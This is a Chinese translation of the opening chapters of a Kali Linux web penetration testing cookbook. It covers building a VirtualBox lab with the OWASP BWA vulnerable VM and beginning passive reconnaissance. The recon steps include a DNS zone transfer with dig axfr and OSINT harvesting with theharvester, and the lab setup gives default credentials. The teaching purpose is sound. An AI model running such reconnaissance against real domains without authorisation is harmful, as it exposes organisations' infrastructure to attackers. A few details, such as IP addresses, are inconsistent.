Kali-Linux-Web-渗透测试秘籍第二版-一-

Kali Linux Web 渗透测试秘籍第二版(一)

原文:annas-archive.org/md5/d5e1118fa7651dd5af5fc7f2255a2210

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

如今,信息安全已经成为新闻和互联网中的热门话题。我们几乎每天都会听到有关网页篡改、数百万用户账户和密码或信用卡信息泄露、以及社交网络上的身份盗窃等消息。网络攻击、网络犯罪、黑客甚至网络战争等术语,正在成为媒体日常语言的一部分。

所有这些关于信息安全的曝光,以及保护敏感数据和企业声誉的迫切需求,使得组织更加意识到需要了解他们的系统在哪些方面存在漏洞,尤其是那些通过互联网可以被外部访问的系统,它们可能如何被攻击,以及如果攻击成功,信息丢失或系统遭到破坏会带来怎样的后果。更重要的是,如何修复这些漏洞并最小化风险。

检测漏洞并发现其对组织的影响可以通过渗透测试来实现。渗透测试是一种攻击,由经过训练的安全专家执行,使用与真实黑客相同的技术和工具,来发现组织系统中可能的所有弱点。然后,这些弱点会被利用,并衡量其影响。测试结束后,渗透测试员会报告所有发现的结果,并提出如何避免未来损害的建议。

在本书中,我们展示了一个完整的网页应用渗透测试过程,并以易于跟随的逐步指导的方式,展示如何发现、利用和修复网页应用程序和网页服务器中的漏洞。

本书适合谁阅读

我们尽力使这本书适合各种读者。首先,计算机科学学生、开发人员和系统管理员,如果他们想进一步提升自己的信息安全知识,或者希望在该领域发展职业生涯,将会在这里找到一些非常易于理解的教程,帮助他们在自己的测试实验室进行第一次渗透测试,并为他们提供继续练习和学习的基础和工具。

应用程序开发人员和系统管理员还将了解攻击者在现实世界中的行为、如何构建更安全的应用程序和系统以及如何检测恶意行为。

最后,资深的安全专家将会看到一些中级和高级的利用技巧,以及如何结合两种或更多漏洞来执行更复杂攻击的思路。

本书内容概览

第一章,设置 Kali Linux 和测试实验室,带领读者了解配置和更新系统的过程。还涵盖了虚拟化软件的安装,包括配置将组成我们渗透测试实验室的虚拟机。

第二章,侦察,让读者将一些信息收集技术付诸实践,进而获得被测试系统的情报,包括其上安装的软件以及目标 Web 应用的构建方式。

第三章,使用代理、爬虫和蜘蛛,指导读者如何使用这些工具,这些工具是每次 Web 应用分析中不可或缺的一部分,无论是功能分析还是更侧重安全性的渗透测试。

第四章,测试身份验证与会话管理,重点识别和利用 Web 应用中常见的验证用户身份和验证用户行为真实性的机制中的漏洞。

第五章,跨站脚本攻击与客户端攻击,向读者介绍了 Web 应用中最常见且最严重的安全漏洞之一——跨站脚本攻击(Cross-Site Scripting),以及其他以其他用户为目标而非应用本身的攻击。

第六章,利用注入漏洞,涵盖了多种方式,通过这些方式,应用程序的功能可能被滥用,执行不同语言和系统的任意代码(如 SQL 和 XML 等),这些代码将在服务器端执行。

第七章,利用平台漏洞,在漏洞分析与利用方面更进一步,探讨支持应用程序的平台。此章节涵盖了 Web 服务器、操作系统和开发框架中的漏洞。

第八章,使用自动化扫描工具,涵盖了发现漏洞的重要方面——使用专门设计的工具,自动查找 Web 应用中的安全缺陷:自动化漏洞扫描器。

第九章,绕过基础安全控制,进入了一个高级主题,即如何规避和绕过开发人员未正确实施的安全防护措施,这些防护措施本应缓解或修复漏洞,但由于实现不当,仍使应用程序容易受到更加复杂的攻击。

第十章,OWASP 前 10 大漏洞的缓解措施,讲述了组织雇佣渗透测试人员攻击其服务器和应用程序,目的是了解哪些地方存在问题,以便知道应该修复什么以及如何修复。该章节通过简单直接的指南,介绍了如何根据开放 Web 应用程序安全项目OWASP)修复和防止最关键的 Web 应用漏洞。

为了从本书中获得最大的收益

为了成功跟随本书中的所有食谱,建议读者对以下主题有基本了解:

  • 安装 Linux 操作系统

  • Unix/Linux 命令行使用

  • HTML 语言

  • PHP 网络应用程序编程

唯一需要的硬件是个人电脑,最好安装 Kali Linux 2.0,尽管也可以使用任何能够运行 VirtualBox 或其他虚拟化软件的操作系统。至于规格,推荐的配置是:

  • 英特尔 i5、i7 或类似 CPU

  • 硬盘上 500 GB 的存储空间

  • 8 GB 内存

  • 一个互联网连接

下载示例代码文件

你可以从 www.packtpub.com 账户下载本书的示例代码文件。如果你在其他地方购买了这本书,你可以访问 www.packtpub.com/support 并注册,文件将直接通过电子邮件发送给你。

你可以按照以下步骤下载代码文件:

  1. www.packtpub.com 登录或注册。

  2. 选择 SUPPORT 标签。

  3. 点击代码下载 & 勘误

  4. 在搜索框中输入书籍名称,并按照屏幕上的说明操作。

一旦文件下载完成,请确保使用最新版本的工具解压或提取文件夹:

  • 适用于 Windows 的 WinRAR/7-Zip

  • 适用于 Mac 的 Zipeg/iZip/UnRarX

  • 适用于 Linux 的 7-Zip/PeaZip

本书的代码包也托管在 GitHub 上,地址是 github.com/PacktPublishing/Kali-Linux-Web-Penetration-Testing-Cookbook-Second-Edition。如果代码有更新,GitHub 仓库将同步更新。

我们还提供了其他代码包,来自我们丰富的书籍和视频目录,地址是 github.com/PacktPublishing/。快来看看吧!

下载彩色图片

我们还提供了一个 PDF 文件,包含本书中使用的彩色截图/图表。你可以在此下载:www.packtpub.com/sites/default/files/downloads/KaliLinuxWebPenetrationTestingCookbookSecondEdition_ColorImages.pdf

使用的约定

本书中使用了多种文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 账号。以下是一个示例:“我们将测试通信;我们将从我们的 Kali Linux 中ping vm_1。”

代码块的设置如下:

<html>
<script>
function submit_form()
{
 document.getElementById('form1').submit();
}
</script>

当我们希望你注意代码块的特定部分时,相关行或项将用粗体显示:

<html>
<script>
function submit_form()
{
 document.getElementById('form1').submit();
}
</script>

任何命令行输入或输出均按以下方式编写:

# sudo apt-get update

粗体:表示新术语、重要词汇或在屏幕上看到的单词。例如,菜单或对话框中的词汇会像这样显示。以下是一个例子:“从管理面板中选择系统信息。”

警告或重要提示如下所示。提示和技巧如下所示。

章节

在本书中,您将发现几个常见的标题(准备工作如何做...它是如何工作的...更多内容...另见)。

为了清楚地说明如何完成一个食谱,请按以下方式使用这些章节:

准备工作

本节会告诉您在食谱中可以期待的内容,并描述如何设置任何所需的软件或前期设置。

如何做...

本节包含按照食谱所需的步骤。

它是如何工作的...

本节通常包含对上一节内容的详细解释。

更多内容...

本节提供关于该食谱的额外信息,以帮助您更好地了解该食谱。

另见

本节提供了指向其他有用信息的链接,以帮助您更好地完成食谱。

联系我们

我们始终欢迎读者的反馈。

一般反馈:请通过电子邮件发送至feedback@packtpub.com,并在邮件主题中注明书名。如果您对本书的任何方面有疑问,请通过questions@packtpub.com与我们联系。

勘误:虽然我们已经尽力确保内容的准确性,但错误仍然可能发生。如果您在本书中发现了错误,我们将感激您向我们报告。请访问www.packtpub.com/submit-errata,选择您的书籍,点击“勘误提交表单”链接,并填写详细信息。

盗版:如果您在互联网上发现我们的作品的任何非法版本,我们将感激您提供该位置地址或网站名称。请通过copyright@packtpub.com与我们联系,并提供相关链接。

如果您有意成为作者:如果您在某个领域有专业知识,并且有兴趣撰写或参与书籍的编写,请访问authors.packtpub.com

评论

请留下评论。当您阅读并使用本书后,不妨在您购买本书的网站上留下评论。潜在的读者可以通过您的公正意见做出购买决定,我们 Packt 团队也能了解您对我们产品的看法,作者们也能看到您对他们书籍的反馈。谢谢!

欲了解更多关于 Packt 的信息,请访问packtpub.com

免责声明

本书中的信息仅用于道德方式使用。如果没有设备所有者的书面许可,请不要使用书中的任何信息。如果您进行非法行为,可能会被逮捕并依法起诉。如果您滥用本书中包含的任何信息,Packt Publishing 概不负责。此处信息必须在有适当书面授权的测试环境中使用。

第一章:设置 Kali Linux 和测试实验室

在本章中,我们将涵盖:

  • 在 Windows 和 Linux 上安装 VirtualBox

  • 创建 Kali Linux 虚拟机

  • 更新和升级 Kali Linux

  • 配置 Web 浏览器以进行渗透测试

  • 创建一个脆弱的虚拟机

  • 创建客户端虚拟机

  • 配置虚拟机以保证正确的通信

  • 在脆弱的虚拟机上了解 Web 应用程序

简介

在本章的开始部分,我们将讲解如何准备我们的 Kali Linux 安装,以便能够跟随本书中的所有操作,并使用虚拟机设置一个含有脆弱 Web 应用程序的实验室。

在 Windows 和 Linux 上安装 VirtualBox

虚拟化或许是建立测试实验室或实验不同操作系统时最方便的工具,因为它允许我们在自己的计算机内运行多个虚拟计算机,而无需额外的硬件支持。

在本书中,我们将使用 VirtualBox 作为虚拟化平台,创建我们的测试目标以及 Kali Linux 攻击机。

在这第一个操作中,我们将展示如何在 Windows 和任何基于 Debian 的 GNU/Linux 操作系统(例如 Ubuntu)上安装 VirtualBox。

读者不需要安装这两个操作系统。本操作展示这两种选项的目的是为了完整性。

做好准备

如果我们使用的是 Linux 作为基础操作系统,在安装任何软件之前,需要更新软件仓库的信息。打开终端并输入以下命令:

# sudo apt-get update

如何操作……

以下步骤是安装 VirtualBox 所需的:

  1. 要在任何基于 Debian 的 Linux 系统上安装 VirtualBox,我们只需打开终端并输入以下命令:
# sudo apt-get install virtualbox
  1. 安装完成后,我们可以通过导航菜单找到 VirtualBox。

    通过应用程序 | 附件 | VirtualBox 来打开。或者,我们也可以通过终端调用它:

# virtualbox

如果你使用的是 Windows 机器作为基础系统,请跳至第 3 步

  1. 在 Windows 上,我们需要从 www.virtualbox.org/wiki/Downloads 下载 VirtualBox 安装程序。

  1. 下载文件后,我们打开它并开始安装过程。

  2. 在第一个对话框中,点击“下一步”,并按照安装流程进行操作。

  3. 我们可能会被要求安装来自 Oracle 公司的网络适配器;我们需要安装这些适配器,以确保虚拟机中的网络正常工作:

  1. 安装完成后,我们只需从菜单中打开 VirtualBox:

  1. 现在 VirtualBox 已经启动,我们准备好设置虚拟机来创建自己的测试实验室。

它是如何工作的……

VirtualBox 将允许我们通过虚拟化在计算机内部运行多台机器。借助此功能,我们可以在并行运行的不同计算机中装载完整实验室,使用不同的操作系统,并根据主机的内存资源和处理能力运行它们。

还有更多...

VirtualBox 扩展包为 VirtualBox 的虚拟机提供额外功能,如 USB 2.0/3.0 支持和远程桌面功能。可以从 www.virtualbox.org/wiki/Downloads 下载。下载完成后,只需双击即可,VirtualBox 将完成其余操作。

另请参阅

还有其他一些虚拟化选项可供选择。如果您不习惯使用 VirtualBox,可以尝试以下选项:

  • VMware Player/Workstation

  • QEMU

  • Xen

  • 基于内核的虚拟机KVM

创建 Kali Linux 虚拟机

Kali 是 Offensive Security 构建的 GNU/Linux 发行版,专注于安全和渗透测试。它预装了众多工具,包括安全专业人员用于逆向工程、渗透测试和法证分析的最流行的开源工具。

我们将在本书中始终使用 Kali Linux 作为攻击平台,并在此步骤中从头开始创建虚拟机并在其中安装 Kali Linux。

准备就绪

可以从其官方下载页面 www.kali.org/downloads/ 获取 Kali Linux。对于本教程,我们将使用 64 位镜像(页面上的第一个选项)。

如何操作...

在 VirtualBox 中创建虚拟机的过程非常简单;让我们看一下并执行以下步骤:

  1. 要在 VirtualBox 中创建新的虚拟机,我们可以使用主菜单,Machine | New,或点击“新建”按钮。

  2. 新对话框将弹出;在这里,我们选择虚拟机的名称、类型和操作系统的版本:

  1. 接下来,我们需要为这台虚拟机设置内存大小。Kali Linux 至少需要 1 GB;我们将为我们的虚拟机设置 2 GB。这个值取决于您系统的资源。

  2. 点击“下一步”进入硬盘设置。选择“现在创建虚拟硬盘”并点击“创建”,VirtualBox 将在我们的主机文件系统中创建一个新的虚拟磁盘文件:

  1. 在下一个屏幕上,选择以下选项:

    • 动态分配:这意味着该虚拟机的磁盘映像将随着我们在虚拟系统中添加或编辑文件而增长(事实上,它将添加新的虚拟磁盘文件)。

    • 对于硬盘文件类型,请选择 VDI(VirtualBox 磁盘映像)并点击“下一步”。

    • 接下来,我们需要选择文件存储在宿主机文件系统中的位置以及它们的最大大小;这是虚拟操作系统的存储容量。我们保持默认位置不变,选择35.36 GB的大小。这个大小取决于你的主机资源,但至少应该有 20GB,以便安装所需的工具。现在,点击创建:

  1. 虚拟机创建完成后,选择它并点击设置,然后进入存储,选择控制器:IDE 下的 CD 图标。在属性面板中,点击 CD 图标,选择“选择虚拟光盘文件”,浏览到从官方网站下载的 Kali 镜像文件。然后点击确定:

  1. 我们已经创建了一个虚拟机,但还需要安装操作系统。启动虚拟机,它将使用我们配置的 Kali 镜像作为虚拟 CD/DVD 进行启动。使用箭头选择图形化安装并按Enter

  1. 我们现在开始安装过程。在接下来的屏幕中,选择系统的语言、键盘布局、主机名和域名。

  2. 之后,系统会要求你设置 Root 密码;root 是 Unix 系统中的管理员账号,是所有权限最强的用户,在 Kali 中是默认的登录账号。设置密码,确认后点击继续:

  1. 接下来,我们需要选择时区,然后配置硬盘;我们将使用全盘引导设置:

  1. 选择你想要安装系统的磁盘(应该只有一个)。

  2. 下一步是选择分区选项;我们将选择“所有文件在一个分区”。

  3. 接下来,我们需要通过选择“完成分区并写入磁盘更改”并点击继续来确认设置。然后选择“是”以写入更改,并在下一屏点击继续。这将开始安装过程:

  1. 安装完成后,安装程序会要求你配置包管理器。选择“是”以使用网络镜像并设置代理配置;如果你不使用代理连接到互联网,可以留空。

  2. 最后一步是配置 GRUB 启动器:只需选择“是”,然后在下一屏幕中从列表中选择硬盘。接着,点击继续,安装就完成了。

  3. 在“安装完成”窗口中点击继续以重启虚拟机。

  4. 当虚拟机重启时,它会要求你输入用户名;输入root并按Enter。然后输入你为 root 用户设置的密码进行登录。现在,Kali Linux 已经安装完毕。

它是如何工作的……

在这个步骤中,我们在 VirtualBox 中创建了我们的第一个虚拟机,设置了基础操作系统与其共享的内存量,并为虚拟机创建了一个新的虚拟硬盘文件并设置了最大大小。我们还配置了虚拟机从 CD/DVD 镜像启动,然后按照我们在物理计算机上安装 Kali Linux 的方式进行安装。

为了安装 Kali Linux,我们使用了图形化安装程序并选择了引导式磁盘分区,即当我们安装操作系统,特别是基于 Unix 的操作系统时,我们需要定义系统的各个部分安装(或挂载)在哪些硬盘分区上;幸运的是,Kali Linux 的安装程序可以自动处理这个问题,我们只需要选择硬盘并确认推荐的分区设置。我们还配置了 Kali 使用网络仓库来管理软件包,这样就能从互联网安装和更新软件,保持系统的最新状态。

还有更多...

有多种方法(而且更简单)可以在虚拟机中运行 Kali Linux。例如,可以从 Offensive Security 网站下载预构建的虚拟机镜像:www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/。我们选择了这种方法,因为它涵盖了从头开始创建虚拟机并安装 Kali Linux 的完整过程。

更新和升级 Kali Linux

在开始测试我们的 Web 应用安全性之前,我们需要确保拥有所有必要的、最新的工具。这个步骤涵盖了维护最新 Kali Linux 工具及其最新版本的基本任务。我们还将安装 Web 应用测试的元包。

如何操作...

一旦你有了一个正在运行的 Kali Linux 实例,执行以下步骤:

  1. 以 root 用户身份登录 Kali Linux;然后打开终端。

  2. 运行 apt-get update 命令。这将下载可供安装的更新包列表(应用程序和工具):

  1. 更新完成后,运行 apt-get full-upgrade 命令,将系统更新到最新版本:

  1. 当提示是否继续时,按 Y 然后按 Enter

  2. 现在,我们的 Kali Linux 已经更新完毕,准备继续进行。

  3. 虽然 Kali 自带了很多预安装的工具,但仍有一些工具包含在其软件仓库中,但默认并未安装。为了确保我们拥有进行 Web 应用渗透测试所需的一切,我们通过输入apt-get install kali-linux-web命令来安装 kali-linux-web 元包:

  1. 我们可以在应用菜单中的 03 - Web 应用分析下找到我们已安装的工具:

它是如何工作的...

在这个教程中,我们介绍了如何在基于 Debian 的系统(例如 Kali Linux)中使用标准软件管理器apt进行包更新的基本步骤。第一次调用apt-get并使用update参数时,下载了针对我们特定系统在配置的仓库中可用的最新包列表。由于 Kali Linux 现在是一个滚动更新的发行版,这意味着它会持续更新,并且版本之间没有中断;full-upgrade参数会下载并安装系统(例如内核和内核模块)以及非系统包的最新版本。如果没有进行重大更改,或者我们只是想保持已经安装的版本最新,我们可以使用upgrade参数。

在本教程的最后,我们安装了kali-linux-web元包。apt的元包是一个可安装的软件包,它包含许多其他软件包,因此我们只需安装一个包,所有包含的包都会被安装。在这种情况下,我们安装了 Kali Linux 中所有的网页渗透测试工具。

为渗透测试配置网页浏览器

大多数网页渗透测试发生在客户端,也就是在网页浏览器中;因此,我们需要准备好我们的浏览器,使其成为对我们有用的工具。在本教程中,我们将通过为 Kali Linux 中默认安装的 Firefox 浏览器添加几个插件来完成这项工作。

如何操作...

Firefox 是一个非常灵活的浏览器,非常适合用于网页渗透测试;它还在 Kali Linux 中预装。让我们稍作自定义,通过以下步骤让它更适合我们的需求:

  1. 打开 Firefox 并在菜单中进入附加组件:

  1. 在搜索框中输入wappalyzer,寻找我们将要安装的第一个插件:

  1. 点击 Wappalyzer 插件中的“安装”按钮进行安装。您可能还需要确认安装。

  2. 接下来,我们搜索FoxyProxy

  3. 点击“安装”。

  4. 现在搜索并安装 Cookies Manager+。

  5. 搜索并安装 HackBar。

  6. 搜索并安装 HttpRequester。

  7. 搜索并安装 RESTClient。

  8. 搜索并安装 User-Agent Switcher。

  9. 搜索并安装 Tampermonkey。

  10. 搜索并安装 Tamper Data 和 Tamper Data Icon Redux。

  11. 已安装扩展的列表应如下图所示:

它是如何工作的...

到目前为止,我们只是在网页浏览器中安装了一些工具,但这些工具在渗透测试网页应用时有什么用呢?安装的插件如下:

  • HackBar:这是一个非常简单的插件,帮助我们尝试不同的输入值,而无需更改或重写完整的 URL。在手动检查跨站脚本和注入时,我们将经常使用它。可以通过按下F9键来激活它。

  • Cookies Manager+:此插件允许我们查看并有时修改浏览器从应用程序接收的 cookie 的值。

  • User-Agent Switcher:此插件允许我们修改发送到服务器的用户代理字符串(浏览器标识)。应用程序有时使用此字符串来显示或隐藏依赖于使用的浏览器和操作系统的某些元素。

  • Tamper Data:此插件具有捕获服务器接收到的任何请求的能力,即在浏览器发送请求后,允许我们在数据进入应用程序的表单并达到服务器之前修改数据。Tamper Data Icon Redux 仅添加了一个图标。

  • FoxyProxy Standard:一个非常有用的扩展,可以使用用户提供的预设一键更改浏览器的代理设置。

  • Wappalyzer:这是一个用于识别网站使用的平台和开发工具的实用程序。这对于指纹识别 Web 服务器及其使用的软件非常有用。

  • HttpRequester:使用此工具,可以创建 HTTP 请求,包括getpostput方法,并查看来自服务器的原始响应。

  • RESTClient:这基本上是一个类似 HTTP 请求器的请求生成器,但专注于 REST Web 服务。它包括添加头部、不同认证模式以及getpostputdelete方法的选项。

  • Tampermonkey:这是一个扩展,允许我们在浏览器中安装用户脚本,并在页面加载前或加载后即时更改网页内容。从渗透测试的角度来看,这对于绕过客户端控制和其他客户端代码操作非常有用。

参见也

其他可能对 Web 应用程序渗透测试有用的插件包括:

  • XSS Me

  • SQL Inject Me

  • iMacros

  • FirePHP

创建一个客户端虚拟机

现在,我们准备创建我们的下一个虚拟机;它将是托管我们将用于练习和提高渗透测试技能的 Web 应用程序的服务器。

我们将使用一个名为OWASP Broken Web AppsBWA)的虚拟机,这是一组专门设置用于进行安全测试的易受攻击的 Web 应用程序。

如何操作...

OWASP BWA 托管在 SourceForge,这是一个流行的开源项目仓库。以下步骤将帮助我们创建一个易受攻击的虚拟机:

  1. 前往 sourceforge.net/projects/owaspbwa/files/ 并下载最新版本的 .ova 文件。在撰写本文时,它是 OWASP_Broken_Web_Apps_VM_1.2.ova

  1. 等待下载完成,然后打开文件。

  2. VirtualBox 的导入对话框将启动。如果你想更改虚拟机的名称或描述,可以通过双击相应值来更改。在这里,你可以更改虚拟机的名称和选项;我们将保持默认设置。点击“导入”:

  1. 导入应该只需要一分钟,之后,我们将在 VirtualBox 的列表中看到我们的虚拟机。让我们选择它并点击“启动”。

  2. 启动机器后,我们将被要求输入登录名和密码;输入root作为登录名,owaspbwa作为密码,设置完成。

它是如何工作的...

OWASP BWA 是一个项目,旨在为安全专业人士和爱好者提供一个安全的环境,以开发攻击技能并识别和利用 Web 应用程序中的漏洞,从而帮助开发人员和管理员修复和预防这些漏洞。

这台虚拟机包括不同类型的 Web 应用程序,其中一些是基于 PHP 的。

一些是基于 PHP 的,其他则是基于 Java 的。我们甚至有几个基于.NET 的易受攻击应用程序。

也有一些已知应用程序的易受攻击版本,例如 WordPress 或 Joomla。

另请参见

当我们谈论易受攻击的应用程序和虚拟机时,有很多选项。一个著名的网站,汇集了许多此类应用程序的是 VulnHub (www.vulnhub.com/)。它还提供了帮助你解决一些挑战并提升技能的教程。

在本书中,我们将使用另一个虚拟机进行一些操作,bWapp bee-box,它可以从项目网站下载:sourceforge.net/projects/bwapp/files/bee-box/

还有一些虚拟机被认为是自包含的 Web 渗透测试环境,换句话说,它们包含易受攻击的 Web 应用程序,同时也包含用于测试和利用漏洞的工具。另有几个相关示例如下:

配置虚拟机以实现正确的通信

为了能够与我们的虚拟服务器和客户端进行通信,我们需要处于相同的网络段;然而,在本地网络中拥有已知漏洞的虚拟机可能会带来重要的安全风险。为了避免这种风险,我们将在 VirtualBox 中进行特殊配置,使得我们能够从 Kali Linux 主机与服务器和客户端虚拟机进行通信,而无需将它们暴露于网络中。

准备就绪

在我们继续之前,打开 VirtualBox 并确保易受攻击的服务器和客户端虚拟机已关闭。

如何操作...

VirtualBox 会在基础系统中创建虚拟网络适配器,以便管理 DHCP 和虚拟网络。这些适配器与分配给虚拟机的适配器是独立的;我们将通过以下步骤创建一个虚拟网络,并将 Kali 和易受攻击的虚拟机添加到该网络中:

  1. 在 VirtualBox 中,导航到 文件 | 偏好设置... | 网络。

  2. 选择“仅主机网络”选项卡。

  3. 点击加号(+)按钮添加新网络。

  4. 新的网络(vboxnet0)将被创建,并且其详细信息窗口会弹出。

  5. 在此对话框中,你可以指定网络配置;如果它不影响你的本地网络配置,可以保持原样。你也可以更改它,并使用在本地网络段(10.0.0.0/8172.16.0.0/12192.168.0.0/16)中保留的其他地址。

  6. 现在,转到 DHCP 服务器选项卡;在这里,我们可以配置主机仅网络中的动态 IP 地址分配。我们将从 192.168.56.10 开始动态分配:

  1. 配置完成后,点击“确定”。

  2. 下一步是配置易受攻击的虚拟机(vm_1)。选择它并进入其设置。

  3. 点击网络,在“连接到”下拉菜单中选择“仅主机适配器”。

  4. 在名称中选择 vboxnet0

  5. 点击“确定”。

  6. 按照步骤 8步骤 11 的流程,操作 Kali 虚拟机(Kali Linux 2018.1)和所有希望包含在实验室中的测试机器。

  7. 配置好所有虚拟机后,让我们测试它们是否能够正常通信。我们来看一下 Kali 机器的网络配置;打开终端并输入:

ifconfig  

  1. 我们可以看到有一个名为 eth0 的网络适配器,并且它的 IP 地址是 192.168.56.10。根据你使用的配置,可能会有所不同。

  2. 对于 vm_1,网络地址会显示在启动屏幕上,尽管你也可以登录并使用 ifconfig 来检查信息。

  1. 现在,我们有了三台机器的 IP 地址:Kali Linux 的 192.168.56.10 和易受攻击的 vm_1192.168.56.11。让我们测试通信;我们将从 Kali Linux 对 vm_1 进行 ping
ping 192.168.56.11

Ping 发送 ICMP 请求到目的地并等待回复;这对于测试网络中两个节点之间是否能够通信非常有用。

  1. 我们对实验室中的所有虚拟机进行相同的操作,以检查它们是否能够互相通信。

  2. Windows 桌面系统(如 Windows 7 和 Windows 10)可能不会响应 ping 请求;这是正常的,因为 Windows 7 默认配置为不响应 ping 请求。此时,如果你实验室中有 Windows 机器,你可以在 Kali 机器上使用 arping 来检查连通性:

arping -c 4 192.168.56.103

它是如何工作的...

主机专用网络是一个虚拟网络,它充当局域网,但其范围仅限于运行虚拟机的主机,并且不会将虚拟机暴露给外部系统。这种网络还为主机提供一个虚拟适配器,使主机能够与虚拟机进行通信,就像它们在同一个网络段内一样。

通过我们刚刚做的配置,我们将能够在作为客户端和攻击机角色的机器与托管我们目标应用程序的 Web 服务器之间进行通信。

了解虚拟机中的 Web 应用程序

OWASP BWA 包含多个 Web 应用程序,这些应用程序故意被设计为容易受到最常见的攻击。其中一些专注于某些特定技术的实践,

而其他应用程序则尝试复制现实世界中的应用程序,这些应用程序恰巧有漏洞。

在本章中,我们将参观我们的vulnerable_vm,并了解它包含的一些应用程序。

准备工作

我们需要确保vulnerable_vm正在运行,并且其网络已正确配置。对于本书,我们将使用192.168.56.10作为其 IP 地址。

如何操作...

需要执行的步骤如下:

  1. vm_1运行时,打开你的 Kali Linux 主机的网页浏览器并访问http://192.168.56.10。你将看到服务器包含的所有应用程序的列表:

  1. 让我们进入 Damn Vulnerable Web Application。

  2. 使用admin作为用户名,admin作为密码。我们可以看到左侧的菜单;该菜单包含指向所有漏洞的链接,我们可以在此应用程序中进行练习:暴力破解、命令执行、SQL 注入等。此外,DVWA 安全性部分是我们可以配置漏洞输入的安全(或复杂性)级别的地方:

  1. 注销并返回服务器的主页。

    1. 现在,我们点击 OWASP WebGoat.NET。这是一个.NET 应用程序,我们将在其中练习文件和代码注入攻击、跨站脚本攻击以及加密漏洞。它还具有 WebGoat Coins 客户门户,模拟购物应用程序,既可以用来练习漏洞的利用,也可以用来练习漏洞的识别:

  1. 现在返回服务器的主页。

  2. 这个虚拟机中另一个有趣的应用程序是 BodgeIt,这是一个基于 JSP 的简化版在线商店。它有一个产品列表,我们可以将其添加到购物篮中,一个具有高级选项的搜索页面,一个新用户注册表单和一个登录表单。没有直接提到漏洞;相反,我们需要自己去寻找:

  1. 我们无法在一个配方中查看所有应用程序,但我们将在本书中使用其中一些。

它是如何工作的...

首页中的应用程序按以下六个组进行组织:

  • 训练应用程序:这些是专门设有相关部分的应用程序

    特定实践的漏洞或攻击技术;其中一些包括

    教程、解释或其他类型的指导。

  • 真实的、有意脆弱的应用程序:这些应用程序模拟真实世界的应用程序(商店、博客和社交网络),并且开发人员故意留下漏洞,以便于培训。

  • 旧版(脆弱)真实应用程序:旧版本的真实应用程序,

    如 WordPress 和 Joomla 等,已知存在可被利用的漏洞;

    这些对于测试我们的漏洞识别技能非常有用。

  • 用于测试工具的应用程序:此组中的应用程序可作为自动化漏洞扫描器的基准。

  • 演示页面/小型应用程序:这些是只有一个或几个漏洞的小型应用程序,仅用于演示目的。

  • OWASP 演示应用程序:OWASP AppSensor 是一个有趣的应用程序;它模拟了一个社交网络,可能存在一些漏洞。但它会记录任何攻击尝试,这在学习时很有帮助,例如,如何绕过一些安全设备,如 Web 应用防火墙。

另见

尽管 OWASP BWA 是用于测试的最完整的脆弱 Web 应用程序集合之一,但仍有其他虚拟机和 Web 应用程序可以补充它,因为它们包含不同的应用程序、框架或配置。以下是值得一试的:

  • OWASP Bricks,包含在 BWA 中,也有一个在线版本:sechow.com/bricks/index.html

  • Hackazon (hackazon.webscantest.com/) 是一个在线测试范围,用于模拟现代 Web 应用程序。根据其 Wiki (github.com/rapid7/hackazon/wiki),它也可以作为虚拟机 OVA 文件找到。

  • Acunetix 的 Vulnweb (www.vulnweb.com/) 是一组脆弱的 Web 应用程序,每个应用程序使用不同的技术(PHP、ASP、JSP、HTML5),用于测试 Acunetix Web 漏洞扫描器的有效性。

  • Testfire (testfire.net/) 由 Watchfire 发布,模拟一个在线银行应用程序,使用 .NET 框架。

  • 惠普公司还创建了一个公共测试站点,用于展示其 Fortify WebInspect 产品的有效性;该站点名为 ZeroBank (zero.webappsecurity.com/)。

第二章:侦察

本章内容包括:

  • 被动侦察

  • 使用 Recon-ng 收集信息

  • 使用 Nmap 扫描和识别服务

  • 识别 Web 应用防火墙

  • 识别 HTTPS 加密参数

  • 使用浏览器的开发者工具分析和修改基本行为

  • 获取和修改 Cookies

  • 利用 robots.txt

介绍

每一次渗透测试,无论是针对网络还是 Web 应用,都有一个工作流程;它包含一系列必须完成的阶段,以提高我们发现并利用所有可能漏洞的机会,这些漏洞可能影响到我们的目标,例如:

  • 侦察

  • 枚举

  • 利用

  • 保持访问

  • 清理痕迹

在网络渗透测试场景中,侦察是测试人员必须识别网络中所有资产、防火墙和入侵检测系统的阶段。测试人员还会收集关于公司、网络和员工的最大信息。

在我们的案例中,对于 Web 应用渗透测试,这一阶段将专注于了解应用程序、数据库、用户、服务器以及应用程序和我们之间的关系。

侦察是每次渗透测试中的一个重要阶段;我们对目标了解得越多,在寻找漏洞和利用漏洞时可选择的方案也就越多。

被动侦察

被动侦察是我们不直接与目标交互时进行的,即我们通过第三方收集关于目标的信息,例如搜索引擎、缓存数据库、声誉监控网站等。

在本节中,我们将请求多个在线服务的信息,这些服务也被称为开源情报OSINT),以便构建我们目标的一般图像,并发现从渗透测试的角度有用的信息,假设我们正在测试一个公开可用的网站或应用程序。

准备工作

鉴于在本节中,我们将从多个公共来源请求信息,我们需要确保我们的 Kali 虚拟机能够连接到互联网,因此我们需要配置其网络设置以使用 NAT 适配器。为此,请参阅第一章中的配置虚拟机以实现正确通信,并选择 NAT,而非 Host-only 适配器。

如何操作...

我们将使用 zonetransfer.me 作为目标域名。该域名 zonetransfer.me 由 Robin Wood(来自 DigiNinja)创建(digi.ninja/projects/zonetransferme.php),用于展示允许公开 DNS 区传输的风险:

  1. 我们首先使用whois查询域名,以获取其注册信息。我们来试着测试一个域名,如 zonetransfer.me:
# whois zonetransfer.me 

  1. 另一个用于获取域名和 DNS 解析信息的工具是dig。例如,我们可以查询目标域名的 nameserver:
# dig ns zonetransfer.me

  1. 一旦我们获得了 DNS 服务器的信息,就可以尝试进行区域传输攻击,以获取服务器解析的所有主机名。为此我们使用 dig
# dig axfr @nsztm1.digi.ninja zonetransfer.me

幸运的是,服务器存在漏洞,给了我们一个完整的子域名列表及其解析的主机。有时我们可以在其中找到一些容易利用的漏洞:

  1. 现在我们使用 theharvester 来识别与目标域名相关的电子邮件地址、主机名和 IP 地址:
# theharvester -b all -d zonetransfer.me

  1. 对于每个在范围内的 Web 服务器,我们希望了解它使用的软件及其版本;一种不直接查询服务器的方式是通过 Netcraft。访问 toolbar.netcraft.com/site_report 并在搜索框中输入网址:

